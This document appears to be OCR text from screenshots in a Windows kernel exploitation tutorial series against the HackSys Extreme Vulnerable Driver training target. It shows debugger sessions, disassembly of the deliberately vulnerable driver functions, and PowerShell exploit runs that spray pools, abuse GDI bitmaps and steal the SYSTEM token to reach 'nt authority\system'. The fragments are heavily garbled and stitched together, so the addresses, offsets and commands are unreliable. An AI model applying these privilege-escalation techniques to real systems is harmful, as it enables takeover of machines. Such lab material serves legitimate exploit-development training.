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kd> dt nt! POOL HEADER 84bcéci0
+0x000 Previoussize : 0y000001000 (0x8)
+0x%000 Poollndex 0¥0000000 (0)
+0x%002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType 050000010 (0x2)
+0x000 Ulongl 0x4080008
+0x004 PoolTag.

Oxee657645
+0x004 AllocatorBackTraceTndex : OX76%5

+0%006 PoolTagHash : Oxee6s
kd> t nt!_OBJECT_HEADER_QUOTA_INFO 84bC6C80+8
+0%000 PagedPoolCharge : O

+0x%004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nc! OBJECT HEADER 84bc6C80+E+10

+0x000 PointerCount on1
+0x004 HandleCount : onl

+0x004 NextToFree 0x00000001 Void
+0x008 Lock : _EX_PUSH LOCK

+0x00c TypeTndex Oxc
+0x00d TraceFlags 0
+0x00e Infaask : oxe
+0x00f Flags 0
+0x010 ObjectCreatelnfo : 0x8Sc6e2c0 OBJECT CREATE INFORMATION
+0x010 QuotaBlockCharged : 0x85c62c0 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _quap

kd> dc 84bccs0 L10

84bc6c80

24bc6ea0 /00000001 00000003

84bceca0 00000000 0008000c 85c6e2c0 00000000
84bcecb0 (00040001 00000000 84bcecbs 4bc6cbs)

ObTypelndexTable
Index: OXC*IntPtr
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[Copyright (C> 2083 Microsoft Corporation. A1l rights reserved. mm

PS C:\Users\h33£> yhoani
uin-0ake6k9 iui8\h33f

[PS' C:\Users\h33f>

[PS C:\Users\h33£> .\Desktop\Kernel IntOverflow.psi

Allocating ringd payload..
Payload size: 61
Payload address: 042E0000

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1448

Sending buffer. .
Buffer size: 2096

Fake huffer size: FFFFFFFF
I0CTL: 6x222827

PS C:\Users\h33£> uhoani
nt authority\systen
[PS C:\Users\h3sf>
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TRAP_FRAME: 941f3béc
ErrCade = 00000010
22x2=00000000 ebz=93befbbe ecx=93bestcs dx=00000000 esi=855994b0 =di=85599440
oip=41444444 esp=341f3bel cbp=43434343 iopl- nv up i ng nz na po nc
ZBTT0T se20010 de-0023 “ee=0073 Fe-0030  5=-0000 ©£1=00010282
11444444 77 279

Resetting default scops

trap Oxffffffff941f3bbc

DEFAULT_BUCKET_ID: VIN?_DRIVER_FAULT
BUGCHECK_STR:  0x8E

PROCESS_NAME: povershell .exe

CURRENT_IRQL: 2

ANALYSTS_VERSTON: 6.3.9600.17298 (debuggers(dbg) 141024-1500) x86tre

MANAGED_STACK: |dunpstack —EE
05 Thread Id: 0x0 (0)

TEE infornation is nat available sa a stack size of OxFEFF is assuned
Current frame

ChildEBP Rethddr Caller,Calles

LAST_CONTROL_TRANSFER: from 82933083 to 828£110

STACK_TEXT
541£379c 82933083 00000003 273bdact 00000065 nt!RtlpBreakithStatusInstruction
341£32=c 82933b81 00000003 341£36£0 00000000 nt!KiBugCheckDebugBreak+0xlc
541£36b0 82932£20 0000008= 0000005 44444444 nt|KeBugCheck2+0z68b

541£36d4 8290303 0000008 0000005 44444444 nt|KeBugCheckEx+Dxle

341f3afc 82832dd6 941£3b18 00000000 941f3bbc nt!KiDispatchEsception+Dxlac
341f3b64 82892d83a 43434343 44444444 badb0d00 nt!CommonDispatohExceptiontDzda
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1: kd> dv tagWND 79C5BO head pcls

win32k!tagWND User mapped Desktop
+0x000 head : _THRDESKHEAD

Heap tagWND
+0x098 pels : DXEELEES00°cO6192a0 tagCLS
1: kd> dx -zl (*({win3Z2k! THRDESKAEAD *)0x79cSb0))

(* ((4in32k! THRDESKEEAD *)0x75c5b0)) [Type: _TERDESKHEAD] y
s e s A G T The first IntPtr of THRDESKHEAD

[#0%008] cLockobj Ox2 [Type: unsigned long] is the Window handle
[+0x010] pri OxE££££900c2abec30 [Type: tagTHREADINEO *]

[+0x018] rpdesk Ox££££a80054145b0 [Type: TagDESKIOP *] THRDESKHEAD has a pointer
[+0x020] pSelf OXfEEE£900c061c5h0 ¢ Oxee [Type: unsigned char *]
1: kd> dx -rl (*((win32k!_ THRDESKHEAD|*) Oxffff£300c061c5b0)) to tagWND n the Kernel

{* ((win32k: THRDESKHEAD *)OXfffff900c0E1cSb0)) [Type: _THRDESKHEAD]
[+0%000] B : Oxisolee [Type: void *]
[+0x008] cLockobj : Ox4 [Type: unsigned long]
[+0x010] pti OX£EErra00c2abecs0 [Type: tagTHREADINFO *]
[+0%018] rpdesk : OXE£ffraso054143p0 [Type: cagDESKTOP *]
[+0x020] pSeif : OXEEfTS00C061c5DO : Oxee [Type: unsigned char *]
1: k> dx —rl (*((win32k!tagCLS *)OXEEff£300c06192a0))
(* ((win32k!tagCLS *)OxXfffffo00c06182a0)) [Type: tagCLS]
[+0x000] polsNext 0x0_[Type: tagCLs *]
[+0%008] atomClassName 0xc194 [Type: unsigned short] User mapped tagWND has
[+0%00a] atomNVClassName : Oxcl94 [Type: unsigned short] a pointer to the Kernel tagCLS

[+0x00c] fnid
[+0x010] rpdeskParent

0x0 [Type: unsigned shorc]
OXEFEE£aB005414300 [Type: tagDESKIOP *]

[+0x018] pdoe : 0x0 [Type: tagDCE *]
nTaskow 0x0 [Type: unsigned shorc]
CSE_flags : 0xcO [Type: unsigned short]

1pszClientAnsiMenuName : 0x1b481le0 : "
[+0x030] lpszClientUnicodeMenuName : Ox1b4SEE0 : Ox4l [Type: unsigned short *]
[+0x038] spepdFirst 0x0 [Type: _CALLPROCDATA *]

[+0x040] pclsBase OX£ff£a00c06192a0 [Type: tagCLS *]

[+0x048] pelsClone 0x0 [Type: tagCLs *]

[+0x050] cWndReferenceCount : 1 [Type: int]

[+0x054] style : 0x0 [Type: unsigned int]

[+0x058] 1pEnindProc OxleclSTc [Type: _inté4 (_cdecl®) (caghND *,unsigned int,unsigned _ inté4, incéd)]
[+0x060] cbelsExtra : 0 [Type: int]

[+0x064] cbundExtra 73 [Type: int]

[+0x068] hModule : 0x13££0000 [Type: void *

0x0 [Type: ©agCURSOR *] ' IpszMenuName is a pointer to the paged pool
ox0 (Type: taccursoz ¢ buffer conta g the Window class menu name
0x0 [Type: HBRUSH_ *]

QXEfrr£o00c1a08000 : Ox41 [Type: unsigned short *]

“OXEIIfI900c0624450 : "TestWindow” [Type: char *]

0%0 [Type: tagCURSOR *]

[+0x070] spicn
[+0x078] spcur
[+0x080] hbrBackground
[+0x088] 1lpszMenuName
[+0x090] lpszAnsiClassName
[+0x098] spicnsm
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call  _DbgPrint
jads esp, aon

lpou  eax. maDsBoBOn
[ebpstservalue], eax
Short_loc_14B92

Magic 0xbad0b0bo

il
TR - -
Mo Gunrd i esisn], offset WlPointerbereference0biectiallbackan ;

lpush  duord ptr [esi]
Push  offset aNullpointerd_1 ; “[+] MullPointerbereference >Ualue: 0%y
call  obgprint

lpush  duord ptr [esiea]

ush  offset aullpointerd_2 ; “[+] MullPointerereference >Gallback: o
call  bbgprint

esp, 100

Short loc_tugct
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kd> lpool {££££580021025d0
Pool page FIff{a8002102ad0 region is Nonpaged pool
£££££23002102000 size: 220 previous size 0 (Allocated) MaCi
££1££a8002102220 size: a0 previous size! 220 (Allocated) Vadl
££1££a8002102200 size: 90 previous size! a0 (Allocated) W32l
££1££a8002102350 size: O previous size: 30 (Allocated) Fisl
£££££28002102410 size: 150 previous size: 0 (Allacated) Fils (Protected
£££££a8002102560 size: 160 previous size: 150 (Allocated) Ntfx
££1££a8002102600 size: 160 previous size: 160 (Allocated) Htfx
££1££a8002102820 size: 60 previous size’ 160 (Allocated) Iep
££1££a8002102880 size: 90 previous size 60 (Allocated) Vad
££1££a8002102910 size: 90 previous size: 30 (Allocated) Vad
£££££a8002102920 size: 90 previous size: 30 (Allocated) Vad
£££££a8002102a30 size: a0 previous size! 30 (Allocated) Vadl
*{§£§£28002102ad0 size’ 530 previous size: a0 (Allocated) *Proc (Protected
‘©oltag Proc : Process objects. Binary : ntlps

k> dq OxfffffaB002102ad0+0x60t0x180 11
££E££a80 02102000 00000000 00000200
k> dq Oxffif{aB002102ad0+0z60+0x208 L1
£EEE£a80 02102438 ££iffRal 024dasih
kd> dt nt! EPROCESS Uxfffffag002102ad0+0x60 UniqueProcessId Token InageFileNane

+0%180 TnigueProcessTd : (x00000000°00000200 Void

+0:208 Token EX_FAST_REF

+0x2e0 InageFileliane [15] "lSass exe!
kds> di —rl (*((ntkrnlnp! EX_FAST_REF x)0xfffffas00
*((nthenlnp| EX FAST REF X]0xiffff28002102d38 [Type: _EX_FAST_REF.

[+0x000] Object [Type: void *]

[+0x000 (3} 0)] RefCnt 0=b_[Type: unsigned __intéd

[+0x000] Value 0xfff££8a0024da83b [Type: unsigned _int64]

102438))
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kd> dt nt! PEB 000000211bc5d000 GdiSharedHandleTable

+0x0f8 GdiSharedHandleTable : 0x000001cS°760£0000 Void PID = 0x013fc
kd> dq 0x000001c9°760£0000 + (0x6e0S07Df & OXELLf)*0x18 L3 =5116
000001c9°760£b9e8 EEEEE01° 43297000 40056205 000013FC
000001c9°760£b9£8 00000000°00000000
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=

; Attributes: bp-based frane
; int _stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
|_TriggerPooloverflou@s proc near

Tag=_duord ptr -ssn
var_2u= duord ptr -24h
Status= duord ptr -20h
KernelBuffer= duord ptr —1Ch
ns_exc= CPPEH_RECORD ptr ~18h
UserBuffer= duord ptr 8
size= duord ptr  oCh

push  1un
push  offset stru_12128

call  _ SEH_prologh

xor  edi, edi

nou [ebp+Status], edi

nou [ebp+ns_exc.registration.TryLevel], edi

push  offset Format  : “[+] Allocating ool chunk\n”

call  _DbgPrint _—r——————

mou [esp+38h+Tag], 6B636148h ; Tag Hack" pool tag

mou  esi, 1F8n Chunk size: 0X1F8+0x8 = 0x200

push  esi ; NumberOfBytes

push  edi ; PoolType

call  ds:_imp_ ExAllocatePooliithTag@12 ; ExAllocatePooluithTag(x,x,x
mou  [ebpskernelBuffer], eax

cnp  eax, edi

jnz__ short loc_1uosB

=

Loc_14058: 3 kcal
push  offset akcan
nou  ebx, offset aPoolTagS ; “[+] Pool Tag: %s\n”

push  ebx ; Format
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kd> dc 86054bf8 L1828

26054pze
26054c08
s6054c1e
s6054c28
s6054c38
s6054ces

00000001
85c46040
00000000
00000000
00000000
00000000

00000001
00000000
00000003
00000000
00000000
0000005¢

kd> dc 86054DEE+0x60 L1E

5605458
s6054c6e
s6054c78
s6054cas
26054c98
s6054cas

00000001
85c46040
00000000
00000000
00000000
00000000

00000001
00000000
00000003
00000000
00000000
0000005¢

kd> dc 86054DEE+0xc0 L1

26054cbe
s6054cce
s6054cds
s6054ces
s6054cse
2605408
ka> !pool
Pool page
26054000
26054060
26054498
26054780
*86054be0

26054c40
26054ca0
26054d00
2605460
26054dc0
26054220
26054280

00000001
85c46040
00000000
00000000
00000000
00000000
26054pze
26054bze
size: 4
size: 2
size: 4

Ouning component

00000001
00000000
00000003
00000000
00000000
0000005¢

00000000
00000000
00000000
s2b2azer
020c000¢
00000000

00000000
00000000
00000000
s2b2azer
020c000¢
00000000

00000000
00000000
00000000
s2b2azer
020c000¢
00000000

0002000
00000000
00000000
26054c10
eraseras
00000000

0002000
00000000
00000000
26054c70
eraseras
00000000

0002000
00000000
00000000
26054cd0
eraseras
00000000

region is Nonpaged pool
60 previous size:
38 previous size

=

previous size
60 previous size:

60 previous size:

60 previous size:

60 previous size
60 previous size:

60 previous size
60 previous size:
60 previous size

60 previous size

0 (Allocated)
60 (Free)

438 (Allocated)

268 (Free)

0x60

Ioc.

v/
v/

IoCo
Tnre
Irp

460 (Allocated) *IoCo
Unknown (update pooltag.txt)

60 (Allocated)
60 (Allocated)
60 (Allocated)
60 (Allocated)
60 (Allocated)
60 (Allocated)

60 (Allocated)

IoCo
IoCo
IoCo
IoCo
IoCo
IoCo
IoCo

(Protected)

(Protected)

(Protected)

(Protected)
(Protected)
(Protected)
(Protected)
(Protected)
(Protected)

(Protected)





OEBPS/Images/20180207_1.jpg
814h
offset stru_12228
__SEH_prologh

edi, edi

[ebp+Status], edi
[ebp+KernelBuffer], edi

7Fch sisize t
edi ; int

eax, [ebp+KernelBuffer+i]

eax 3 void x

_menset

esp, och
[ebp+ns_exc.registration.TryLevel], edi
u 5 Alignnent

esi, goon

esi 5 Length

[ebp+UserBuFfer] ; Address
ds:_inp_ProbeForRead@12 ; ProbeForRead(x,,x)
[ebp+UserBuFfer]

OFfset aUserbuffer@xP ; “[+] UserBuffer: 0x%p\n"

_DbgPrint

ebx, [ebp+size]

ebx

offset aUserbufferSize ; “[+] UserBuffer Size: BxZx\n"
_DbgPrint

eax, [ebp+KernelBuffer]

eax

offset akernelbufferdx ; “[+] KernelBuffer: BxZp\n”
_DbgPrint

esi

offset aKernelbufferSi ; “[+] KernelBuffer Size: x%¥\n"
_DbgPrint

offset aTriggeringlnte ; “[+] Triggering Integer Overflowin®
_DbgPrint

esp, 2uh

eax, [ebx+h]
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Users\b33f> §
Users\b33f>

Bitmapkernelbj  BitmappvScan0 BitmapHandle

~50853550927872 ~90853550927792

Users\b3sf>

FFFFADSES25ED000
Users\b33f>

FFFFADSES25ED050
Users\b33f>

738527134

-Bitmapkernelobj

- BitmappyScan0
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Target is 32-bitt

PID 2900
PehBaseAddress: @x7FFDCAOG
GdiSharedHandleTable: 0x08340080

Creating Bitmaps. .
Manager BitMap handle: @x31850216
HandleTableEntry: 8x342168

Bitmap Kernel address: BxFE7F7000
Manager puScand pointer: BxFE?F7830
Vorker BitMap handle: 0x2305061A
HandleTableEntry: 8x3461A8

Bitmap Kernel address: BxFEG6FE0Q
Uorker puScand pointer: BxFE66FE38

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1192

Sending buffer. .
Buffer length: §
I0CTL: 8x222008

Leaking SYSTEM _EPROCESS. .
_EPORCESS list entry: BxB297FB3C
SYSTEN KPORCESS address: 0x948C5020
SYSTEM Token: Bx89661384

Leaking current _EPROCESS ..
Traversing ActiveProcessLinks list
PouerShell _EPORCESS address: 8x85F26548
PID: 2908

PouerShell Token: Bx97D873DF

Duplicating SYSTEM token?
PS C:\Users\h33£> uhoani

nt authority\systen
[PS C:\Users\h3sf>
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2: kd> !pool FFFFADSES2SEDO0O
Pool page fEffadSes25ed000 region is Unknown

frffad5es25ed000 is not a valid large pool allocation, checking large session pool
*££fradses25ed000 : large page allocation, tag is GhOS, size is 0x1080 bytes

Pooltag GhOS : GDITAG HMGR_SURE_TYPE, Binary : win3Zk.sys
2: kd> dgq FFFFADSES2SEDO0O
£rffadse 825ed000 00000000°2c05079 00000000 00000000 Bitmap SURFOBJ

£Effadse 8250010 ErT£8583°70cad080 00000000"00000000
£Effadse 82504020 00000000°2c0507Se 00000000°00000000 Bitmap pvScan0
£Effadse 82504030 00000000°00000000 00000002"00000701
£Effadse 82504040 00000000°00000208 FEffadse’825ed270
fiffadse soscdoso rrffadse's2sed27o 00001275°0000070%
TEffadoc 5250060 00610006700000003 00000000°00000000
£fffadse 825ed070 00000000° 04800200 00000000*00000000
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Copyright (C> 2083 Microsoft Corporation. A1l rights reserved.

PS C:\Users\h33£> yhoani
uin-0ake6k9 iui8\h33f

[PS' C:\Users\h33f>

[PS C:\Users\h33£> .\DesktopKernel NullDeref .psi

Allocating ringd payload..
Payload size: b6
Payload address: 0x@4A50000

Allocating process null page..
Success
Uriting shellcode pointer to BxBBOPEEB4

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1248

Sending buffer. .
Buffer length: &
I0CTL: 8x22282B

PS C:\Users\h33£> uhoani
nt authority\systen
[PS C:\Users\h3sf>
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[+] window handle: 459568

[+] ulClientbelta; FFFF9408FAL60000.
[+] User tagnN 00000115066CF3F0.
[+] User tagcl 00000115066DE050.
[+] Kernel taghND: FFFF951E0082F3F0
[+] Kernel tagCLs: FFFF951E0083E050

[+] Kernel tagCLs. IpszienuNane: FFFF951E03F4F000
“\Users\b33f>
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*xxxxx HACKSYS_EVD_IOCTL INTEGER OVERFLOW sxxxxx
[+] UserBuffer: 0x023FEE3C

[+] UserBuffer Size

[+] KernelBuffer: 0x8573124C

[+] KernelButfer Size: 0z800

[+] Triggering Integer Overflow

xxxxxx HACKSYS EVD_IOCTL INTEGER OVERFLOU wxxxsxx
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| [Previous J [_Ne @sscopeip
0c0c0c0e aaaanaraannaaaafio prior disassenbly possible
ocacoe1n PITTIT | 222
0c0cOc2a anaaaaaaaaaaana 78727547 22 222
Dcoc0c3s aanaaranranaansf|7a7a7548 22 222
0c0c0c48 AaanRRRAARRRAAL[J7E7ATS4S 22 222
0c0c0e57 axanpaaaanaiaaaff7aia7sda 22 222
0c0c0c66 axannaaaRRRRAa[f7E7a754D 22 222
0c0c0e75 AMARRRAFuzzySec[7a7a754c 22 222

0cocncss uricy. L. fraransaa 22 222
oc0c0e93 saeabananansans| [EITHG 58 220

ocococaz saeasananansans| RIS 58 220
0cocncht saeasananensans| [EITEED 58 220
ococncen saeasananensans| [EITRE 5 220
ococnces saeasananensans| [EIIRE 58 220
ococncde D e 220
ococnced S e 220
ococncze saeasananensans| RIS 58 220
0cocnans S e 220
ococnaia saeasananensans| [EIETEEN 5 220
ococnazs saeasananensans| [EIIREE 52 220
ococnass saeasananensans| LIRS 58 220
0c0c0as7 anoasenanensans| [ETETEE 57 222

(ce8.b58) : Access violation - code cOO0DODS (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.
2azon0z EP P ETE——— 0205£00 ecx=02420002 edx=7a7a7546 e3i=0162bcal =di=00000000
7a7aTsis D162mza3 162bcaD ebp=0162hche 1opl: nv up ei pl zr na pe ne
Zoszc0 o0z0s£00 55=0023 as=0023 es=0023 s ez1=00010246
1625020 0162nEdr i wh

Tezhcbe oooooooo 0:008> d 0c0c0c7e
T62bcdn 0162nEdE ocococ7e 46 75 7a ES Fuzzysecurity.

o16zmEes ocococse 50 90 o a0

RS 3eficia ocococse 50 90 o a0
o0z0s£en ocococee 50 90 S0 a0
01628203 ococoche 50 90 o a0
o0z0s£00 ocococce 50 90 o a0
00000000 0cococde 50 90 o a0
00000000 ocococec 50 90 0 a0
oooooooo
oooooooo
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kd> 'handle efa0

PROCESS 8422040 SessionId: 1 Cic
DirBase: 7£407520 ObjectTable
Inage: powershell.exe

Odec  Peb: 7££dc000 ParentCid: 0ScE
93047480 HandleCount: 15307.

Handle table at 93d4£480 with 15307 entries in use

efa0: Object: 84bcecb0 Grantediccess: 001£0003 Entry: 983eff40
Object: 84bc6cb0 Type: (848e5bSE) Event
ObjectHeader: 84bc6cS8 (new version)
HandleCowrt: 1 PointerCount: 1

kd> !pool 84bcEcos
Pool page 84bc6cos region is Nompaged pool

84bc6000 size: 40 previous size: 0 (Allocated) Even (Brotected)
84bc6040 size: 4b8 previous size: 40 (Free) \ou.
84bc64fs size: 208 previous size: 4b8 (Allocated) Thre (Protected)
84bc67e0 size: 460 previous size: 2es (Free) 1rp
84bc6c40 size: 40 previous size: 460 (Allocated) SeTl

*84Dc6e80 size: 40 previous size
Pooltag Even : Event cbjects

(Allocated) *Even (Protected)

84bc6cco size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6d00 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6d40 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6dE0 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6dco size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6e00 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6ed0 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6ed0 size: 40 previous size: 40 (Allocated) Even (Protected)
84bceeco size: 40 previous size: 40 (Allocated) Even (Protected)

84bc6£00 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6£40 size: 40 previous size: 40 (Allocated) Even (Protected)
84bc6£E0 size: 40 previous size: 40 (Allocated) Even (Protected)

84bc6fcO size: 40 previous size: 40 (Allocated) Even (Protected)
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staf

Handle Properties

General [ Securty

Basic infomation

Name: System (4)

Type: Process

Object address: ~ OiffaB000414040
Granted acosss: (fff (Full cortrl)

References.

HKLMISOFTVAREWicrosoftinternet Explorer WAIN),
System (4)
\Sessions\1|BaseNlamedObjects\ZoneslockedCachec..
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EX Windows PowerShell

[>] Leaking SYSTEM _EPROCESS.
[+] _EPORCESS Tist entry: OFFFFF80388608220

“\Users\b33f>
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Name " Hande

PevicelTe oxasa
PevicelTep oz
PevicelTep oz
PevicelTe om
I \Device\Physicaliemory ox204

\Device\NetT_Tcpp_{C7AED8 13426 1-48F0-0C DA . 0x758 ||
\Device\NetST_Tepip_{C7AEDS 13426 1-46F0-9CD-A... X750
\Device\NetST_Tepip_{C7AEDS 13426 1-46F0-9CD-A...  OxT4c
\Device\NetST_Tepip_{C7AEDS 13426 1-46F0-9CD-A...  OXT3c
\Device\NetST_Tcpip_{C7AEDS 13-4261-46F0-SCD-A...  OXT34
\Device\NetST_Tepip_{C7ADS 13426 1-46F0-9CD-A...  OX72c
\Device\NetT_Tcpip_{C7ADS 13-4261-46F0-SCD-A...  Ox724
\Device\NetST_Tepip_{C7AEDS 13426 1-46F0-9CD-A...  OXTic
\Device\NetST_Tcpip_{C7ADS 13-4261-46F0-9CD-A. . OXT14
\Device\NetT_Tepip_{C7AEDS 13426 1-46F0-9CD-A...  OXT0C
\Device\NetST_Tepip_{C7AEDS 13-4261-46F0-9CD-A. . OxT04
\Device\Net8T _Tepip_{C7AEDS 13-4261-46F0-0CD-A. . OxBfc
\Device\Net8T _Tcpip_{C7AEDS 13-4281-48F0-0CD-A. . OXEF4
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kd> g

#xxxxx HACKSYS EVD_IOCTL ALLOCATE_FAKE OBJECT *+*xx
[+] Creating Fake Object

[+] Pool Tag:
[+] Pool Type
[+] Pool Siz

0x5!

et
NonPagedPool

9

[+] Pool Chunk: 0x85D28240

[+] Fake Object:

0x85D25240

*xxxxx HACKSYS EVD_IOCTL ALLOCATE_FAKE OBJECT *+*xx

nt!Rt1pBreakWithStatusInstructio:

82885110 cc

kd> dc 0x85D2B240-0x8 L1e

asd2p238
asazp24s
asa2p2ss
asazp26s
asaz2p278
asazp2ss
kd> tpool
Pool page
25425000
25a2b0b8
8542b0c0
ssazp12e
ssazpias
ssazbles
85420230
*8sazp238

s5a2p298
25420380
s5azpe38
ssazpace
85a2b558
85d2b610

85025240 region is Nonpaged

Ouning component

int

6b636148 41414141
42424242 42424242
42424242 42424222

42424242 42424222

42424242 42424222

42424242 42424242

020c0001.
22424242

22424242

22424242

22424242

22424242

0x85D28240
size:  be
size i
size: 68
size: 20
size: a0
size: 48
size e
size: 60
size: es
size:  be
size: 90
size: 90
size:  be
P —

previous size:
previous size
previous size:
previous size
previous size
previous size:
previous size
previous size:

previous size
previous size:
previous size
previous size:
previous size
Brevious size

Uninown

pool

_|3_—Fake Callback
42424242 ... .HackAARABEES
42424242 BBEEEEBBBEEEEEES
42424247 BBEEERBBBEEBEEES
42424242 BBEEERBBBEBEEEES
42424242 BBEBEEBBBEEEEEES
00424242 BBBEBEREEEEEEES.

0 (Allocated) File (Protected)
b8  (Free) aaoo
& (Allocated) FMsl
68 (Allocated) ReTa
20 (Allocated) NbOS
a0 (Allocated) Vad
48 (Free) Riic
& (Allocated) *Hack

(update pooltag.txt)

60 (Allocated) WmiG (Protected
e8 (Free) File
b8 (Allocated) Nbrl
S0 (Allacated) MaCa
90 (Free) File
b8 (Allocated) WmiG (Protected)
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kd> u
nt | KeQueryIntervalProf i le+0x23
82b19436 £15£0939782  call _ duord ptr [ntl|HalDispatchTable+0zd (829793fc

82b19432 850 = Saxeax

82D19440 700b 31 ntlkeQueryIntervalProfile+0x38 (82b1944d
82B19442 8074400 cnp byte ptr [ebp-0Ch].

82B19446 7405 je ntIKeQueryIntervalProfile+0x38 (82b1944d
B2B19448 BBSER o eax. dvord ptr [ebp-8]

82B1944B c9 leave

82b1944c o3 ret
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250bdc40
250pdca0
250pdcco
250pdd00
250pdd40
*850bdds0

250pd£a0
250pdfco

size: 40 previous
size: 40 previous
size: 40 previous
size: 40 previous
size: 40 previous
size: 200 previous

Ouning component
size: 40 previous
size: 40 previous

kd> dc 850bd£80

8500d£80
8500d£90
850pd£a0
850bd£b0
850pd£CO
850pd£d0
s50pdfe0
850pd££0
ka> g

Access violation -

04080040 ee657645 00000000 00000040 E...Eve..
00000000 00000000 00000001 00000001
85¢72240 00000000
00000000 850bdfbE E50bdfbE
04080008 2657645 00000000 00000040
00000000 00000000 00000001 00000001
85¢72240 00000000
00040001 00000000 850bAEEE 350bAEEE

00000000
0040001

00080000

00000000

©0008000c

43434343 22 222
kd> dd 0x70

00000000 43434343 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000

00000070
00000020
00000090
00000020

code c0000005 (

size: 40 (Allocated) Even (Protected)
size: 40 (Allocated) Even (Protected)
size: 40 (Allocated) Even (Protected)
size: 40 (Allocated) Even (Protected)
size: 40 (Allocated) Even (Protected)
size: 40 (Free) *Hack

: Unknown (update pooltag.txt) ©\ - 1ilol (|| il

size: 200 (Allocated) Even (Protected)
size: 40 (Allocated) Even (Protected)

Tainted

Clean

second chance

Free corrupted chunk!
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[+] UserWriteWhatWhere: 0x000002079EFFFSF8
(+] WRITE_WHAT WHERE Size: Ox10

[+] UserWriteWhacWhere->What: 0x4141414141414141
[+] UserWriteWhachnere->Where: 0x4242424242424242
(+] Triggering Arbitrary Overwrite

(-] Exception Code: 0xC0000005

axxx%% HACKSYS EVD IOCTL ARBITRARY OVERWRITE *####w
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ococ0ds2

0c0c0a71
ococnazn
ococoass
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41418181
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41418181
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7c3480058
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50909090
50909090

BREGEOEEOOE

it A

@Sscopeip

AAALLALLAALAALJNO Prior disassembly possible
sapnrinaasininy [j0C0C0CS4 41 ine

AALRARRAL..4].

a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine
a1 ine

e1p=70348006 esp=0c0c0cOc ebp=0162bche 10p1=0

co=001n  ss=0023

de=0023 es=0023 £3=003b s

MSVCR71! setusermatherr+0x291

7c348006 3
08> p

ret

mv up ei pl zr na pe ne
000 ez1=00000246

eax=0162hca0 ebx=00206050 ecx=02420018 edx=7c348h05 esi=0162hed) edi=00000000
mv up e pl zr na pe ne
000 ez1=00000246

C0C0C10 ebp=0162bche 10p1=0
ds=0023 es=0023 £3=003b s

MSVCRT1 ! laexp+0x161a:

70376534 58

HSVCR7L! setw

pop

0000201 ecx=0s0c0b4 edx=7c902514 es

c0C0CS4 ebp=7c37a151 10pl=0

ds=0023 es=0023 £3=003b gs=0000

70341582 edi=70347£98

nv up ei pl nz na po ne

240

e£1=00000202

Thed
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ZIE

; Attributes: bp-based frame

; int _stdcall AllocateUaFobject()
|_Al1ocatevaFobject@s proc near

Tag= duord ptr -30n
duord ptr -1Ch
CPPEH_RECORD ptr -18h

push  och
push  offset stru_12148

call  _ SEW_prologh

xor  ebx, ebx

xor  edi, edi

nou  [ebpens_exc.registration.TryLevel], ebx

push  offset aRllocatingUafd ; “[+] Allocating UaF Objectin”

call  _bbgPrint

nou Tesp+3shsTag], 6B636148h 5 Tag

push  58h 3 Number0fBytes Object Size

push  ebx 3 PoolType

call  ds:_inp_ExAllocatePoolifithTag@t2 ; ExAllocatePoolWithTag(x,x,x

nou esi, eax
esi, ebx
short loc_141E1

=

loc_141E1:
push  offset akcah
push  offset aPoolTags ; “[+] Pool Ta
call  _DbgPrint

push  offset aNonpagedpool ; “NonPagedPool”
push  offset aPoolTypeS ; “[+] Pool Type: %s\n”

cat

Pool Tag => Hack

%s\n"

call  _DbgPrint
push  Ssh

push  offset aPoolSizeOxX ; “[+] Pool Size: Bx%¥\n"

call  _DbgPrint

push  esi

push  offset aPoolChunkOxP ; “[+] Pool Chunk: 0x%p\n”

call  _DbgPrint

push  Sun 5 size_t

push  uih ; int

lea  eax, [esish]

push  eax 3 void x

call  _menset

nou Tesi+57n], b1

mou  dword ptr [esi], offset _UaFObjectCallback@d ; UaFObjectCallback()
mou  _g_UseAfterFreedbject, es

push  esi

bush  offset alseafterfree0b ; “[+] UseAfterFree Object: Bx%pin”
call  _DbgPrint

push  _g_UseafterFreedbject

push  oFfset aG_useafterfree ; “[+] g_UseAfterFreedbject: Bxzpin”
call  _DbgPrint

push  duord ptr [esi]
push  offset alseafterfreeCa ; “[+] UseAfterFree->Callback: Ox%p\n”
call  _DbgPrint
add  esp, suh
imp__ short loc_1s27F
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Target s 64-bit!

[7] PID 4384
[+] PebBaseaddress: 0x0000008978F47000
[+] GdisharedHandleTable: 0x0000018C1C70000

[>] Creating Bitmaps
[+] Manager Bithap handle: 0xAS0S05F2
[+] HandleTableEntry: 0x18C19C78EBO

[+] Bitmap Kernel address: OxFFFFFS0143£5C000
[+] Manager pyScan0 pointer: OXFFFFF30143E5C050
[+] Worker Bithap handle: 0x580507C0

[+] HandleTableEntry: 0x18C15C7BA00

[+] Bitmap Kernel address: OxFFFFFS0143£76000
[+] Worker pvScan0 pointer: OXFFFFFS0143£76050

[>] Driver information
[+] TpFileName: \\.\HacksysExtremeVulnerablebriver
[+] Handle: 2268

[>] Sending buffer..
[+] Buffer length: i6
[+] T0CTL: 0x222008

Users\b33F> _
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kd> dt nt!| _POOL_HEADER fffffa8002102ad0

40000 PreviousSize 0y00001010 (Dxa) .

102000 ool Index 0700000000 (0 Unique 'Proc' pooltag (DWORD)
+0x000 BlockSize 0y01010011 (0x53)

+0x000 PoolType 0y00000010 (0x2)

102000 Ulongl 0253000

